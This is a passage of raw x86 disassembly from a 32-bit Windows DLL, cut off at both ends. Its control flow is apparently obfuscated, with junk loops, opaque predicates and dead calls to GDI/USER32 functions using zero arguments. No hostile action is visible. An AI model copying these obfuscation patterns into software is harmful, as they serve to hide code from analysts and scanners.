call fcn.1001ffcc
mov ecx, dword [ebp - 0x9d0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x9d0], eax
jl 0x1003e7aa
mov dword [ebp - 0x9d8], 1
jmp 0x1003e7b1
and dword [ebp - 0x9d8], 0
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x9d8]
cmp eax, 0x452a2c7a
jg 0x1003e7cd
mov dword [ebp - 0x9e0], 1
jmp 0x1003e7d4
and dword [ebp - 0x9e0], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x9e0], eax
jge 0x1003e7eb
mov dword [ebp - 0x9e8], 1
jmp 0x1003e7f2
and dword [ebp - 0x9e8], 0
push 1
lea ecx, [ebp - 0x1d64]
call fcn.1001ffcc
mov ecx, dword [ebp - 0x9e8]
mov dword [eax], ecx
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x1d64]
call fcn.1001ffb0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a5c]
call fcn.1001ffb0
jmp 0x1003e582
mov eax, 0xffff
mov word [ebp - 0x100], ax
or dword [ebp - 0x1f0], 0xffffffff
cmp dword [ebp + 0x10], 0
jbe 0x1003ef92
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1003ef8d
mov dword [ebp - 0xc4], 0xed1a
mov dword [ebp - 0x128], 0xee1d1102
mov dword [ebp - 0x9f0], 0x799d
mov dword [ebp - 0x14cc], 0x1000b030
cmp dword [ebp - 0x9f0], 0x7c2c
jle 0x1003e97b
and dword [ebp - 0x500], 0
jmp 0x1003e8a7
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x500], 0x1357
jge 0x1003e969
and dword [ebp - 0x4f8], 0
jmp 0x1003e8cd
mov eax, dword [ebp - 0x4f8]
inc eax
mov dword [ebp - 0x4f8], eax
cmp dword [ebp - 0x4f8], 0x15b7
jge 0x1003e964
and dword [ebp - 0x5f4], 0
jmp 0x1003e8f3
mov eax, dword [ebp - 0x5f4]
inc eax
mov dword [ebp - 0x5f4], eax
cmp dword [ebp - 0x5f4], 0x7db
jge 0x1003e95f
mov eax, dword [ebp - 0x4f8]
cdq
idiv dword [ebp - 0x5f4]
and edx, dword [ebp - 0x500]
mov eax, edx
cdq
mov dword [ebp - 0x1540], eax
mov dword [ebp - 0x153c], edx
push dword [ebp - 0x153c]
push dword [ebp - 0x1540]
lea ecx, [ebp - 0x21cc]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1734], eax
mov ecx, dword [ebp - 0x1734]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x21cc]
call fcn.1001fbea
jmp 0x1003e8e6
jmp 0x1003e8c0
jmp 0x1003e89a
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_MoveWindow]
cmp dword [ebp - 0x9f0], 0x78a0
jge 0x1003e993
push dword [ebp - 0x14cc]
call fcn.100714f3
pop ecx
mov dword [ebp - 0x228], 0x97bc8b42
push 3
lea ecx, [ebp - 0x1808]
call fcn.1001ff2e
mov dword [ebp - 4], 0x25
mov dword [ebp - 0x14e4], 0x3196e86f
mov dword [ebp - 0xa28], 0xd1532d49
mov dword [ebp - 0x768], 0x80c4
mov dword [ebp - 0x9f8], 0x4406
mov dword [ebp - 0x14d8], 0x1000b048
cmp dword [ebp - 0x9f8], 0x454e
jle 0x1003ea94
and dword [ebp - 0x5fc], 0
jmp 0x1003ea09
mov eax, dword [ebp - 0x5fc]
inc eax
mov dword [ebp - 0x5fc], eax
cmp dword [ebp - 0x5fc], 0x5b5f
jge 0x1003ea94
and dword [ebp - 0x508], 0
jmp 0x1003ea2b
mov eax, dword [ebp - 0x508]
inc eax
mov dword [ebp - 0x508], eax
cmp dword [ebp - 0x508], 0x48e1
jge 0x1003ea8f
mov eax, dword [ebp - 0x5fc]
imul eax, dword [ebp - 0x508]
cdq
mov dword [ebp - 0x154c], eax
mov dword [ebp - 0x1548], edx
push dword [ebp - 0x1548]
push dword [ebp - 0x154c]
lea ecx, [ebp - 0x1fd4]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x1fd4]
call fcn.1001fbea
jmp 0x1003ea1e
jmp 0x1003e9fc
mov dword [ebp - 0xbc], 0
jmp 0x1003eaad
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 1
jge 0x1003eac9
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x7c4], 2
jmp 0x1003eaa0
cmp dword [ebp - 0x9f8], 0x43f6
jge 0x1003eae1
push dword [ebp - 0x14d8]
call fcn.100714f3
pop ecx
mov dword [ebp - 0xbc], 0
jmp 0x1003eafa
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 3
jge 0x1003eb1c
push dword [ebp - 0xbc]
lea ecx, [ebp - 0x1808]
call fcn.1001ffcc
mov dword [eax], 0xfffffffd
jmp 0x1003eaed
cmp dword [ebp - 0xc4], 0
jne 0x1003eb4a
mov eax, dword [ebp - 0xc4]
imul eax, dword [ebp - 0xc4]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0
jne 0x1003eb4a
and dword [ebp - 0x758], 0
jmp 0x1003eb54
mov dword [ebp - 0x758], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x758]
mov dword [ebp + eax - 0x7c4], ecx
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
sub eax, dword [ebp - 0xc4]
cmp eax, 0xffffffff
jl 0x1003eb8a
mov dword [ebp - 0xa00], 1
jmp 0x1003eb91
and dword [ebp - 0xa00], 0
mov eax, dword [ebp - 0xc4]
cmp dword [ebp - 0xa00], eax
jne 0x1003ebb8
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7c4], 0
jne 0x1003ebb8
and dword [ebp - 0xa08], 0
jmp 0x1003ebc2
mov dword [ebp - 0xa08], 1
mov eax, dword [ebp - 0xa08]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x173c], eax
push 0
lea ecx, [ebp - 0x1808]
call fcn.1001ffcc
mov ecx, dword [ebp - 0x173c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x1c28], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x1c30], eax
cmp dword [ebp - 0x14e4], 0
je 0x1003ef55
mov dword [ebp - 0x760], 0x36fc
mov dword [ebp - 0x230], 0xf71d6917
mov dword [ebp - 0xa18], 0x5bb31cf6
push 4
lea ecx, [ebp - 0x12e4]
call fcn.1001ff2e
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x604], 0
jmp 0x1003ec5c
mov eax, dword [ebp - 0x604]
inc eax
mov dword [ebp - 0x604], eax
cmp dword [ebp - 0x604], 4
jge 0x1003ec7e
push dword [ebp - 0x604]
lea ecx, [ebp - 0x12e4]
call fcn.1001ffcc
mov dword [eax], 0x2f34c933
jmp 0x1003ec4f
mov dword [ebp - 0x760], 0xfffffff7
mov eax, dword [ebp - 0x230]
cmp dword [ebp - 0x760], eax
jl 0x1003eca2
mov dword [ebp - 0xa10], 1
jmp 0x1003eca9
and dword [ebp - 0xa10], 0
mov eax, dword [ebp - 0xa10]
mov dword [ebp - 0x230], eax
mov eax, dword [ebp - 0xa28]
mov dword [ebp - 0xa18], eax
mov eax, dword [ebp - 0x230]
cmp eax, dword [ebp - 0xa18]
jge 0x1003ecdb
mov dword [ebp - 0x180c], 1
jmp 0x1003ece2
and dword [ebp - 0x180c], 0
push 3
lea ecx, [ebp - 0x12e4]
call fcn.1001ffcc
cmp dword [eax], 8
jg 0x1003ed00
mov dword [ebp - 0x14f0], 1
jmp 0x1003ed07
and dword [ebp - 0x14f0], 0
cmp dword [ebp - 0x228], 0x602a0500
jg 0x1003ed1f
mov dword [ebp - 0x1744], 1
jmp 0x1003ed26
and dword [ebp - 0x1744], 0
cmp dword [ebp - 0x128], 0
jle 0x1003ed44
cmp dword [ebp - 0xc4], 0
je 0x1003ed44
mov dword [ebp - 0xa20], 1
jmp 0x1003ed4b
and dword [ebp - 0xa20], 0
push 0
lea ecx, [ebp - 0x1808]
call fcn.1001ffcc
mov ecx, dword [ebp - 0xa20]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7c4]
mov dword [ebp - 0x1c38], eax
mov eax, 0x89bb5c1e
test eax, eax
je 0x1003ee62
mov dword [ebp - 0x1c40], 2
mov dword [ebp - 0x7ac], 0xcf69bad9
mov dword [ebp - 0x18b0], 0x5defa766
mov eax, dword [ebp - 0x7ac]
inc eax
mov dword [ebp - 0x7ac], eax
push 3
lea ecx, [ebp - 0x12e4]
call fcn.1001ffcc
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x1c48], eax
push 0
lea ecx, [ebp - 0x1808]
call fcn.1001ffcc
cmp dword [eax], 0
je 0x1003edf4
cmp dword [ebp - 0x230], 0
je 0x1003edf4
cmp dword [ebp - 0x7ac], 0
je 0x1003edf4
mov dword [ebp - 0x14fc], 1
jmp 0x1003edfb
and dword [ebp - 0x14fc], 0
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x1c50], eax
push 3
lea ecx, [ebp - 0x12e4]
call fcn.1001ffcc
mov dword [ebp - 0xa30], eax
push 3
lea ecx, [ebp - 0x12e4]
call fcn.1001ffcc
mov ecx, dword [ebp - 0xa30]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa28]
mov ecx, dword [ebp - 0xa30]
cmp dword [ecx], eax
je 0x1003ee4d
mov dword [ebp - 0xa38], 1
jmp 0x1003ee54
and dword [ebp - 0xa38], 0
mov eax, dword [ebp - 0xa38]
mov dword [ebp - 0x18b0], eax
jmp 0x1003ee86
mov byte [ebp - 0x191], 0
movzx eax, byte [ebp - 0x191]
test eax, eax
je 0x1003ee86
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
mov dword [ebp - 0x128], 0
jmp 0x1003ee9f
mov eax, dword [ebp - 0x128]
dec eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xfffffff1
je 0x1003ef44
mov dword [ebp - 0x1c58], 0xeae5
mov dword [ebp - 0x510], 0
jmp 0x1003eecf
mov eax, dword [ebp - 0x510]
inc eax
mov dword [ebp - 0x510], eax
cmp dword [ebp - 0x510], 3
jge 0x1003eeeb
mov eax, dword [ebp - 0x510]
mov dword [ebp + eax*4 - 0x1d74], 0xffffffff
jmp 0x1003eec2
mov eax, dword [ebp - 0x768]
inc eax
mov dword [ebp - 0x768], eax
je 0x1003ef21
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1d74]
push 4
pop ecx
imul ecx, ecx, 0
add eax, dword [ebp + ecx - 0x1d74]
je 0x1003ef21
mov dword [ebp - 0xa40], 1
jmp 0x1003ef28
and dword [ebp - 0xa40], 0
mov eax, dword [ebp - 0xa40]
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x230], 0
je 0x1003ef3f
jmp 0x1003ef44
jmp 0x1003ee92
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x12e4]
call fcn.1001ffb0
jmp 0x1003ef73
mov byte [ebp - 0x14e], 0
movzx eax, byte [ebp - 0x14e]
test eax, eax
je 0x1003ef73
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreatePolygonRgn]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1808]
call fcn.1001ffb0
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x100], ax
jmp 0x1004320d
push 2
lea ecx, [ebp - 0x18f4]
call fcn.1001ff2e
mov dword [ebp - 4], 0x27
mov dword [ebp - 0x238], 0x5c8094a
mov dword [ebp - 0x60c], 0
jmp 0x1003efc9
mov eax, dword [ebp - 0x60c]
inc eax
mov dword [ebp - 0x60c], eax
cmp dword [ebp - 0x60c], 2
jge 0x1003efeb
push dword [ebp - 0x60c]
lea ecx, [ebp - 0x18f4]
call fcn.1001ffcc
mov dword [eax], 0x9f9b
jmp 0x1003efbc
mov dword [ebp - 0x238], 1
jmp 0x1003f004
mov eax, dword [ebp - 0x238]
dec eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0
jl 0x1003f076
mov dword [ebp - 0x1c8], 0xffff
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c8], 0
jmp 0x1003f03d
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 1
jg 0x1003f074
push dword [ebp - 0x238]
lea ecx, [ebp - 0x18f4]
call fcn.1001ffcc
cmp dword [eax], 0
je 0x1003f05e
jmp 0x1003f074
push 0
lea ecx, [ebp - 0x18f4]
call fcn.1001ffcc
cmp dword [eax], 0
je 0x1003f072
jmp 0x1003f030
jmp 0x1003f030
jmp 0x1003eff7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18f4]
call fcn.1001ffb0
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x1508], 0xd13
mov dword [ebp - 0x518], 0
jmp 0x1003f0b2
mov eax, dword [ebp - 0x518]
inc eax
mov dword [ebp - 0x518], eax
cmp dword [ebp - 0x518], 3
jge 0x1003f0ce
mov eax, dword [ebp - 0x518]
mov dword [ebp + eax*4 - 0x1a74], 0x64a6847d
jmp 0x1003f0a5
mov byte [ebp - 0x168], 0
movzx eax, byte [ebp - 0x168]
test eax, eax
je 0x1003f0ea
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
mov dword [ebp - 0x130], 0
jmp 0x1003f103
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 2
jg 0x1003f260
mov dword [ebp - 0x240], 0x7d0b0a35
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1a74]
cmp dword [ebp - 0x130], eax
je 0x1003f13b
mov dword [ebp - 0xa60], 1
jmp 0x1003f142
and dword [ebp - 0xa60], 0
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x1c60], eax
cmp dword [ebp - 0x240], 0
jne 0x1003f15e
cmp dword [ebp - 0x240], 0
mov eax, 0xa13b
test eax, eax
je 0x1003f17c
cmp dword [ebp - 0x240], 0
je 0x1003f17c
mov dword [ebp - 0xa48], 1
jmp 0x1003f183
and dword [ebp - 0xa48], 0
mov eax, dword [ebp - 0x240]
imul eax, dword [ebp - 0xa48]
test eax, eax
je 0x1003f1b0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1a74], 0
je 0x1003f1b0
mov dword [ebp - 0xa50], 1
jmp 0x1003f1b7
and dword [ebp - 0xa50], 0
mov eax, dword [ebp - 0xa50]
sub eax, dword [ebp - 0x130]
cmp eax, 0xffff0008
jge 0x1003f1d6
mov dword [ebp - 0xa58], 1
jmp 0x1003f1dd
and dword [ebp - 0xa58], 0
mov eax, dword [ebp - 0xa58]
sub eax, dword [ebp - 0x130]
je 0x1003f206
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1a74], 0
je 0x1003f206
mov dword [ebp - 0xa68], 1
jmp 0x1003f20d
and dword [ebp - 0xa68], 0
mov eax, dword [ebp - 0xa60]
cmp eax, dword [ebp - 0xa68]
jl 0x1003f227
mov dword [ebp - 0xa70], 1
jmp 0x1003f22e
and dword [ebp - 0xa70], 0
mov eax, dword [ebp - 0x240]
cmp dword [ebp - 0xa70], eax
jl 0x1003f248
mov dword [ebp - 0xa78], 1
jmp 0x1003f24f
and dword [ebp - 0xa78], 0
mov eax, dword [ebp - 0xa78]
mov dword [ebp - 0x1508], eax
jmp 0x1003f0f6
mov eax, dword [0x1008cc78]
and eax, 1
jne 0x1003f297
mov eax, dword [0x1008cc78]
or eax, 1
mov dword [0x1008cc78], eax
mov dword [ebp - 4], 0x28
mov ecx, 0x10091040
call fcn.1001fff2
push 0x10087c71
call fcn.100714c9
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x10091001]
test eax, eax
je 0x1003ff7d
mov ecx, 0x10091040
call fcn.1004728c
movzx eax, al
test eax, eax
jne 0x1003ff7d
push 3
lea ecx, [ebp - 0x6e4]
call fcn.1001ff2e
mov dword [ebp - 4], 0x29
mov dword [ebp - 0xa80], 0xfffffffa
push 3
lea ecx, [ebp - 0x12b8]
call fcn.1001ff2e
mov byte [ebp - 4], 0x2a
mov dword [ebp - 0x1514], 0x85b3d925
mov dword [ebp - 0xcc], 0
jmp 0x1003f30d
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 3
jge 0x1003f32f
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x6e4]
call fcn.1001ffcc
mov dword [eax], 0xfffffff7
jmp 0x1003f300
mov dword [ebp - 0xcc], 0
jmp 0x1003f348
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 3
jge 0x1003f367
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x12b8]
call fcn.1001ffcc
and dword [eax], 0
jmp 0x1003f33b
push 2
lea ecx, [ebp - 0x6e4]
call fcn.1001ffcc
mov eax, dword [eax]
mov dword [ebp - 0xa80], eax
mov esi, dword [ebp - 0xa80]
push 0
lea ecx, [ebp - 0x6e4]
call fcn.1001ffcc
cmp esi, dword [eax]
jl 0x1003f39f
mov dword [ebp - 0x174c], 1
jmp 0x1003f3a6
and dword [ebp - 0x174c], 0
push 0
lea ecx, [ebp - 0x6e4]
call fcn.1001ffcc
mov eax, 0xd8c5
test eax, eax
jge 0x1003f3c5
mov eax, 0x41a8
test eax, eax
jne 0x1003f3e0
push 1
lea ecx, [ebp - 0x6e4]
call fcn.1001ffcc
cmp dword [eax], 0
jne 0x1003f3e0
and dword [ebp - 0xa88], 0
jmp 0x1003f3ea
mov dword [ebp - 0xa88], 1
mov esi, dword [ebp - 0xa88]
add esi, 4
push 0
lea ecx, [ebp - 0x6e4]
call fcn.1001ffcc
cmp esi, dword [eax]
jg 0x1003f410
mov dword [ebp - 0xa90], 1
jmp 0x1003f417
and dword [ebp - 0xa90], 0
cmp dword [ebp - 0xa90], 2
jne 0x1003f42c
mov dword [ebp - 0xa98], 1
jmp 0x1003f433
and dword [ebp - 0xa98], 0
cmp dword [ebp - 0xa98], 0xab44
jl 0x1003f44b
mov dword [ebp - 0xaa0], 1
jmp 0x1003f452
and dword [ebp - 0xaa0], 0
push 2
lea ecx, [ebp - 0x6e4]
call fcn.1001ffcc
mov esi, dword [ebp - 0xaa0]
imul esi, dword [eax]
push 2
lea ecx, [ebp - 0x6e4]
call fcn.1001ffcc
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x12b8]
call fcn.1001ffcc
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0x12b8]
call fcn.1001ffcc
cmp esi, dword [eax]
jg 0x1003f4a4
mov dword [ebp - 0xaa8], 1
jmp 0x1003f4ab
and dword [ebp - 0xaa8], 0
push 0
lea ecx, [ebp - 0x6e4]
call fcn.1001ffcc
mov eax, dword [eax]
cmp eax, dword [ebp - 0xaa8]
je 0x1003f4e0
push 0
lea ecx, [ebp - 0x6e4]
call fcn.1001ffcc
cmp dword [eax], 0
je 0x1003f4e0
mov dword [ebp - 0xab0], 1
jmp 0x1003f4e7
and dword [ebp - 0xab0], 0
push 1
lea ecx, [ebp - 0x12b8]
call fcn.1001ffcc
mov ecx, dword [ebp - 0xab0]
cmp ecx, dword [eax]
jle 0x1003f50a
mov dword [ebp - 0xab8], 1
jmp 0x1003f511
and dword [ebp - 0xab8], 0
cmp dword [ebp - 0xab8], 0xfffc
jne 0x1003f529
mov dword [ebp - 0xac0], 1
jmp 0x1003f530
and dword [ebp - 0xac0], 0
push 1
lea ecx, [ebp - 0x12b8]
call fcn.1001ffcc
mov esi, dword [ebp - 0xac0]
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0x12b8]
call fcn.1001ffcc
cmp esi, dword [eax]
je 0x1003f563
mov dword [ebp - 0xac8], 1
jmp 0x1003f56a
and dword [ebp - 0xac8], 0
push 0
lea ecx, [ebp - 0x6e4]
call fcn.1001ffcc
mov eax, dword [eax]
cmp eax, dword [ebp - 0xac8]
jl 0x1003f58d
mov dword [ebp - 0xad0], 1
jmp 0x1003f594
and dword [ebp - 0xad0], 0
mov eax, dword [ebp - 0xad0]
mov dword [ebp - 0x1514], eax
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x12b8]
call fcn.1001ffb0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6e4]
call fcn.1001ffb0
lea eax, [ebp - 0x44c]
push eax
lea eax, [ebp - 0xbb0]
push eax
mov ecx, 0x10091040
call fcn.100200b7
mov dword [ebp - 0x78], 5
mov dword [ebp - 0xaf0], 9
mov dword [ebp - 0xb08], 0x5da2a0c0
mov dword [ebp - 0xb50], 0xbc62
mov dword [ebp - 0x1520], 1
mov dword [ebp - 0x1754], 2
mov dword [ebp - 0x614], 0
jmp 0x1003f628
mov eax, dword [ebp - 0x614]
inc eax
mov dword [ebp - 0x614], eax
cmp dword [ebp - 0x614], 4
jge 0x1003f644
mov eax, dword [ebp - 0x614]
mov dword [ebp + eax*4 - 0x12d0], 0xa56718e5
jmp 0x1003f61b
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x1c68], eax
cmp dword [ebp - 0x78], 0
jne 0x1003f662
cmp dword [ebp - 0x78], 0
jne 0x1003f662
and dword [ebp - 0xad8], 0
jmp 0x1003f66c
mov dword [ebp - 0xad8], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x12d0]
cmp dword [ebp - 0xad8], eax
jle 0x1003f68d
mov dword [ebp - 0xae0], 1
jmp 0x1003f694
and dword [ebp - 0xae0], 0
cmp dword [ebp - 0xae0], 0xfffe
jae 0x1003f6ac
mov dword [ebp - 0xae8], 1
jmp 0x1003f6b3
and dword [ebp - 0xae8], 0
mov eax, dword [ebp - 0xae8]
mov dword [ebp - 0xaf0], eax
cmp dword [ebp - 0xaf0], 0xb16a
jl 0x1003f6d7
mov dword [ebp - 0xaf8], 1
jmp 0x1003f6de
and dword [ebp - 0xaf8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x12d0]
cmp dword [ebp - 0xaf8], eax
jge 0x1003f6ff
mov dword [ebp - 0x181c], 1
jmp 0x1003f706
and dword [ebp - 0x181c], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x1c70], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x12d0], 0
jae 0x1003f72b
mov dword [ebp - 0xb00], 1
jmp 0x1003f732
and dword [ebp - 0xb00], 0
mov eax, dword [ebp - 0xb00]
mov dword [ebp - 0xb08], eax
mov eax, dword [ebp - 0xb08]
push 4
pop ecx
shl ecx, 0
add eax, dword [ebp + ecx - 0x12d0]
cmp eax, 0xfffffff8
jl 0x1003f762
mov dword [ebp - 0xb10], 1
jmp 0x1003f769
and dword [ebp - 0xb10], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0xb10], eax
jl 0x1003f780
mov dword [ebp - 0xb18], 1
jmp 0x1003f787
and dword [ebp - 0xb18], 0
mov eax, dword [ebp - 0x78]
imul eax, dword [ebp - 0xb18]
test eax, eax
jne 0x1003f7a3
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x12d0], 0
mov eax, 0xb07d
cmp eax, 0xd847
jne 0x1003f7bb
mov dword [ebp - 0xb20], 1
jmp 0x1003f7c2
and dword [ebp - 0xb20], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x12d0]
cmp dword [ebp - 0xb20], eax
jge 0x1003f7e3
mov dword [ebp - 0xb28], 1
jmp 0x1003f7ea
and dword [ebp - 0xb28], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x12d0]
cmp dword [ebp - 0xb28], eax
jg 0x1003f80b
mov dword [ebp - 0xb30], 1
jmp 0x1003f812
and dword [ebp - 0xb30], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x12d0]
cmp dword [ebp - 0xb30], eax
jl 0x1003f833
mov dword [ebp - 0xb38], 1
jmp 0x1003f83a
and dword [ebp - 0xb38], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x12d0]
cmp dword [ebp - 0xb38], eax
jne 0x1003f85b
mov dword [ebp - 0xb40], 1
jmp 0x1003f862
and dword [ebp - 0xb40], 0
mov eax, dword [ebp - 0xb40]
sub eax, dword [ebp - 0x78]
add eax, dword [ebp - 0x78]
je 0x1003f882
cmp dword [ebp - 0x78], 0
je 0x1003f882
mov dword [ebp - 0xb48], 1
jmp 0x1003f889
and dword [ebp - 0xb48], 0
mov eax, dword [ebp - 0xb48]
mov dword [ebp - 0xb50], eax
mov eax, dword [ebp - 0xb50]
cmp dword [ebp - 0x78], eax
jg 0x1003f8ac
mov dword [ebp - 0xb58], 1
jmp 0x1003f8b3
and dword [ebp - 0xb58], 0
mov eax, dword [ebp - 0xb58]
mov dword [ebp - 0x1520], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x1754], eax
lea eax, [ebp - 0x1c78]
push eax
mov ecx, 0x10091040
call fcn.100200a9
push eax
lea ecx, [ebp - 0xbb0]
call fcn.100201d3
movzx eax, al
test eax, eax
je 0x1003ff7d
mov dword [ebp - 0x1a0], 0xdf75dcec
mov dword [ebp - 0x6fc], 0xf1571c09
mov dword [ebp - 0x1544], 0xe8a7
mov dword [ebp - 0x19a4], 0x7ba9ac04
mov dword [ebp - 0x19a0], 0x7ba9ac04
mov dword [ebp - 0x199c], 0x7ba9ac04
mov dword [ebp - 0x1998], 0x7ba9ac04
lea ecx, [ebp - 0x78d]
call fcn.1001ffdb
push eax
lea eax, [ebp - 0x1994]
push eax
lea eax, [ebp - 0x19a4]
push eax
lea ecx, [ebp - 0x1f94]
call fcn.1001ffde
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1a8c]
call fcn.1001ff8a
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x778], 0xffffffff
mov dword [ebp - 0x18a0], 0x64ea
mov dword [ebp - 0xd4], 0
jmp 0x1003f99f
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 4
jge 0x1003f9bb
mov eax, dword [ebp - 0xd4]
mov dword [ebp + eax*4 - 0x1f34], 0x421dd2eb
jmp 0x1003f992
mov dword [ebp - 0xd4], 0
jmp 0x1003f9d4
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 1
jge 0x1003f9f0
mov eax, dword [ebp - 0xd4]
mov dword [ebp + eax*4 - 0xba8], 0x2a2d6201
jmp 0x1003f9c7
mov dword [ebp - 0x1a0], 0xf
jmp 0x1003fa09
cmp dword [ebp - 0x1a0], 0xffffffe9
jg 0x1003ff5a
push 1
lea ecx, [ebp - 0x1280]
call fcn.1001ff2e
mov byte [ebp - 4], 0x2c
mov dword [ebp - 0x175c], 0xfffffffb
mov dword [ebp - 0x70c], 0x12e75507
mov dword [ebp - 0xba0], 0x6e86ff18
push 4
lea ecx, [ebp - 0x1828]
call fcn.1001ff2e
mov byte [ebp - 4], 0x2d
mov dword [ebp - 0x1538], 0x689bb5c
mov dword [ebp - 0x1c80], 0xc0e03a84
mov dword [ebp - 0x4c], 0
jmp 0x1003fa7a
cmp dword [ebp - 0x4c], 1
jge 0x1003fa96
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x1280]
call fcn.1001ffcc
mov dword [eax], 0xe7bff44c
jmp 0x1003fa73
mov dword [ebp - 0x4c], 0
jmp 0x1003faa6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a8c]
call fcn.1001ffb0
lea ecx, [ebp - 0xbb0]
call fcn.10047295
mov eax, dword [eax + 4]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ddc], 0x49fe387
mov dword [ebp - 0x1de4], 7
mov dword [ebp - 0x1dec], 0
mov dword [ebp - 0x1df4], 0x8114768c
mov dword [ebp - 0x1dfc], 0xffffffff
mov dword [ebp - 0xbb8], 0x7444
mov dword [ebp - 0x1764], 0x1000b0dc
cmp dword [ebp - 0xbb8], 0x75da
jle 0x10040073
and dword [ebp - 0x530], 0
jmp 0x1003ffe9
mov eax, dword [ebp - 0x530]
inc eax
mov dword [ebp - 0x530], eax
cmp dword [ebp - 0x530], 0x46aa
jge 0x10040073
and dword [ebp - 0x62c], 0
jmp 0x1004000b
mov eax, dword [ebp - 0x62c]
inc eax
mov dword [ebp - 0x62c], eax
cmp dword [ebp - 0x62c], 0x78a
jge 0x1004006e
mov eax, dword [ebp - 0x530]
or eax, dword [ebp - 0x62c]
cdq
mov dword [ebp - 0x1564], eax
mov dword [ebp - 0x1560], edx
push dword [ebp - 0x1560]
push dword [ebp - 0x1564]
lea ecx, [ebp - 0x2004]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1550], eax
mov ecx, dword [ebp - 0x1550]
